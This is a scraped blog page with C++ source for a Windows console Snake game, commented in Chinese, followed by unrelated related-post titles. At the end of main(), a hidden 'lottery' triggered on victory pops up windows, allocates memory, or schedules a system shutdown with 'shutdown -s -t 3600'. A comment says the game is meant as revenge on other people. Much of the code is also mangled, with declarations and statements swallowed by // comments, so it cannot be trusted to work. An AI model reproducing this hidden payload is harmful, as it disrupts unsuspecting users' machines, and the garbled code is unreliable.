//贪吃蛇代码 #include<iostream>
#include<windows.h>
#include<conio.h>//kbhit();getch()
#include<ctime>//随机种子
#include<cstdlib>//随机种子
#include<malloc.h>//malloc()
#define W 75//宽width74
#define E 20//长ength19
#define L 50//蛇最长长度long50
#define FL 10//食物长度
using namespace std;
class TCS
{
private:int l;//蛇的长度int F;//蛇的方向int Score;int Time;//刷新的次数int Speed;int Appear;//1则为出现食物,0则否//食物的坐标int x;int y;//蛇的坐标int a[L],b[L];//界面(包括蛇)char S[W][E];
public:TCS(int LL=2);void SetTCS(int* m,int* n);//设置开始时的蛇int Getl(){return l;}int GetTime(){return Time;}int GetSpeed(){return Speed;}void Print();//输出void GetF();//得到输入的方向void MoveU();//上移 void MoveD();void MoveL();void MoveR();void Move1();//蛇身的移动void Move();//蛇的移动bool IfDead();//蛇是否死亡bool TCSAdd();//蛇加长void FoodAppear();//食物出现void Food();//设置食物 void Setxy();//设置食物坐标
};
TCS::TCS(int LL)
{l=LL;F=77;Score=0;Time=0;Speed=3;Appear=0;
}
void TCS::SetTCS(int* m,int* n)
{for(int i=0;i<L;i++)//L-l=蛇尾的xy坐标{a[i]=*(m+i);b[i]=*(n+i);}for(int h=0;h<E;h++){for(int g=0;g<W;g++){S[g][h]=' ';}}
}
void TCS::Print()
{int g,h;for(h=0;h<E;h++){for(g=0;g<W;g++){S[g][h]=' ';}}while(h!=-1){S[W-1][h]='|';h--;}//边界while(g!=-1){S[g][E-1]='~';g--;}//边界//食物出现FoodAppear();//对S[][]赋值for(g=L-l;g<L-1;g++)S[a[g]][b[g]]='*';//蛇身S[a[L-1]][b[L-1]]='#';//蛇头system("cls");//清屏幕for(int y=0;y<E;y++)//输出{for(int x=0;x<W;x++){cout<<S[x][y];}cout<<endl;}cout<<"得分:"<<Score<<'\t'<<"速度:"<<Speed<<"级"<<endl;
}
void TCS::GetF()
{if(kbhit()){getch();//方向键要用两个getch() F=getch();}
}
void TCS::MoveU()
{Move1();b[L-1]--;
}
void TCS::MoveD()
{Move1();b[L-1]++;
}
void TCS::MoveL()
{Move1();a[L-1]--;
}
void TCS::MoveR()
{Move1();a[L-1]++;
}
void TCS::Move1()//蛇身的移动
{a[L-l-1]=a[L-l];a[L-l-1]=b[L-l];//为了TCSAdd();记录蛇尾的上一步for(int i=L-l;i<L-1;i++){a[i]=a[i+1];b[i]=b[i+1];}
}
void TCS::Move()
{switch(F){
case 72://上if(b[L-1]>b[L-2])//判断不能向上移动的情况MoveD();//继续向下elseMoveU();//蛇头移动break;
case 80://下if(b[L-1]<b[L-2])MoveU();//继续向上elseMoveD();break;
case 75://左if(a[L-1]>a[L-2])MoveR();//继续向右elseMoveL();break;
case 77://右if(a[L-1]<a[L-2])MoveL();//继续向左elseMoveR();break;
default:break;}
}
bool TCS::IfDead()
{if(a[L-1]<0 || a[L-1]>=W-1 || b[L-1]<0 || b[L-1]>=E-1)return true;else if(S[a[L-1]][b[L-1]]=='|'|| S[a[L-1]][b[L-1]]=='~' || S[a[L-1]][b[L-1]]=='*')return true;elsereturn false;
}
bool TCS::TCSAdd()
{if(S[a[L-1]][b[L-1]]!=' ')//因为第一次T.Print()蛇不死=先判断是否死了再到TCS();所以能用!=' '{l++;a[L-l]=a[L-l+1];//将蛇尾的上一步赋给新加的蛇尾b[L-l]=b[L-l+1];Score++;if(Score%Speed==0 && Speed!=1)Speed--;return true;}elsereturn false;
}
void TCS::FoodAppear()
{Time++;if(Time==Speed*10)//吃完后出现食物需要的时间{Setxy();for(int Q=0;Q<FL;Q++){if(S[x+Q][y]!=' '){Setxy();Q=0;}}Appear=1;}if(Appear==1 && Time<=(Speed*1000))//Speed*1000-Speed*10停留时间{Food();}if(TCSAdd()){S[x][y]=' ';Time=0;Appear=0;}
}
void TCS::Food()//如想修改食物,请统计食物有字符数然后将FL的值修改
{S[x][y]='H';S[x+1][y]='u';S[x+2][y]='a';S[x+3][y]='n';S[x+4][y]='g';S[x+5][y]='S';S[x+6][y]='a';S[x+7][y]='n';S[x+8][y]='g';
}
void TCS::Setxy()
{srand(time(0));x=rand()%(W-1-FL);//huangShang10个字符y=rand()%(E-1);//食物的随机坐标
}
int main()
{TCS T(10);//输入初始长度int x[L]={0},y[L]={0};for(int i=0;i<T.Getl();i++)x[L-T.Getl()+i]=i;T.SetTCS(x,y);while(1){T.Print();//对蛇赋值T.GetF();if(T.GetTime()%T.GetSpeed()==0){T.Move();if(T.IfDead())//S[a[L-1]][b[L-1]]!=' '&& S[a[L-1]][b[L-1]]!='$'{cout<<"你玩完了!";break;}}if(T.Getl()==L){cout<<"Victory!食物已经被吃光!"<<endl;
Z:
cout<<"你有一次抽奖的机会:(请输入你心中理想的数字0~9)"<<endl;
cin>>x[0];
if(x[0]>=0 && x[0]<=3)
{
for(int P=0;P<1;P++)//可更改1
system("start");//弹框
}
else if(x[0]>=4 && x[0]<=6)
{
for(int Q=0;Q<1;Q++)//可更改1
int *p=(int *)malloc(100);//malloc n.内存分配;卡内存;可更改100
}
else if(x[0]>=7 && x[0]<=9)
system("shutdown -s -t 3600");//-s是关机,-t是秒;3600秒后关机;//可更改3600
else
goto Z;break;}//此游戏用于报复对HuangShang不满足的人^_^}return 0;
}

贪吃蛇代码 (登录可全部复制)相关推荐

  1. c语言程序的英式棋盘,使用棋盘法的贪吃蛇代码

    使用棋盘法的贪吃蛇代码 在我此前发了一篇对其他人的贪吃蛇C代码的分析和注释,在那个代码中的算法主要是用一个线性表存储蛇的所有身体节点的位置.然后随着游戏进行,需要把相应的蛇身节点依次平移一次(把数组里 ...

  2. python贪吃蛇代码课程设计_c语言课程设计之贪吃蛇代码及思路 c语言课程设计报告之贪吃蛇...

    原文作者:aircraft 原文地址:https://www.cnblogs.com/DOMLX/p/8846529.html 注:本文档需与c语言课程设计之贪吃蛇文档配套使用.c语言实现贪吃蛇代码可 ...

  3. 用html编写一个贪吃蛇,HTML编写的贪吃蛇代码

    <HTML编写的贪吃蛇代码>由会员分享,可在线阅读,更多相关<HTML编写的贪吃蛇代码(14页珍藏版)>请在人人文库网上搜索. 1.使用表格 var fangxiang;fan ...

  4. c语言安卓贪吃蛇代码下载,C语言贪吃蛇代码

    c语言编写贪吃蛇源代码,简单易懂,文件为VC源代码.如果你正在学习c语言,就来下载吧.很经典的 C语言贪吃蛇代码部分 #include #include #include#include #defin ...

  5. 【无标题】学习贪吃蛇代码

    学习贪吃蛇代码

  6. 贪吃蛇的c语言程序码,C语言贪吃蛇代码下载_C语言贪吃蛇代码官方下载-太平洋下载中心...

    C语言编写贪吃蛇源代码,简单易懂,文件为VC源代码.如果你正在学习c语言,就来下载吧.很经典的. C语言贪吃蛇代码原理: 产生一个固定大小没有边界的游戏区域,蛇从区域的中心开始,由玩家通过键盘控制蛇的 ...

  7. c语言字符蛇代码,C语言实现贪吃蛇代码

    本文实例为大家分享了C语言实现贪吃蛇代码的具体代码,供大家参考,具体内容如下 #include"stdafx.h" #include #include #include #incl ...

  8. 面向对象编程java小游戏_JavaScript面向对象编程小游戏---贪吃蛇代码实例

    1 面向对象编程思想在程序项目中有着非常明显的优势: 1- 1 代码可读性高.由于继承的存在,即使改变需求,那么维护也只是在局部模块 1-2 维护非常方便并且成本较低. ​2 这个demo是采用了面向 ...

  9. html游戏贪吃蛇代码,html5贪吃蛇游戏使用63行代码完美实现

    以前也很少关注html5,感觉选择html已经慢慢成为趋势,想了解下.就找了个游戏学习了,写完这个游戏感觉html5和js结合很紧密,如果js不是特别好.估计需要先补习下js,这个只是个人的建议,不一 ...

  10. 以前写的canvas 小游戏 贪吃蛇代码

    效果如图,完成了贪吃蛇的基本的功能 代码地址 :https://github.com/my-new-git-hub/canvasSnake.git 预览地址:https://www.kzc275.to ...

最新文章

  1. java.lang.Thread使用及总结
  2. 三大主流软件负载均衡器(LVS、Nginx、HAproxy) 与商业SLB比较
  3. pyemd资料学习 2019.1.24 https://media.readthedocs.org/pdf/pyemd/latest/pyemd.pdf
  4. JEP 342:JVM和幽灵
  5. 开源干货!.NET Core + Vue.js通用动态权限(RBAC)管理系统框架[DncZeus]开源
  6. 【Flink】Flink 1.12.2 TaskSlotTable
  7. 配置tfs2017的agent
  8. SQL Server 查询性能优化——覆盖索引(一)
  9. 微信小程序 - 文本框显示限制最大长度
  10. php未定义常量破解,如何使PHP未定义的常量注意到错误
  11. PHP 实现简单购物车功能(2)
  12. mysql查询一张表中一共有多少条数据
  13. 计算机体系结构实验1——计算机性能评测
  14. mysql自定义序号_mysql序列号生成器 mysql自定义函数生成序列号的例子
  15. python 面板数据分析_stata面板数据模型分析的详细步骤和命令
  16. 折腾 赋予GT610 UEFI属性
  17. 前端学习之路, 记录前端小白成长历程, 学习总结, 工具汇总, 打造开箱即用的学习体验
  18. cpu怎么开启php,cpu怎么换
  19. C语言试题111之 s=a+aa+aaa+aaaa+aa...a 的值,其中 a 是一个数字。例如 2+22+222+2222+22222(此时 共有 5 个数相加),几个数相加有键盘控制。
  20. Android 限制启动应用最大使用内存,可供极限测试时使用

热门文章

  1. 【多元统计分析】主成分分析——SPSS上机实验【过程+结果分析】
  2. 宏碁暗影骑士2022 i7-12700h+intel ax1650网卡+ubuntu1804+linux5.19 安装网卡驱动
  3. 强烈推荐一本MYSQL入门及复习的好书
  4. Sk32k144:生成hex文件和烧写(jflash)
  5. Linux实现黑客帝国炫酷效果
  6. 傅里叶变换到拉普拉斯变换及收敛域分析
  7. linux centOS可视化界面
  8. 自然语言处理与企业对话系统设计
  9. 知了课堂Day2——微信小程序基础02——wxss
  10. ZZULIOJ1036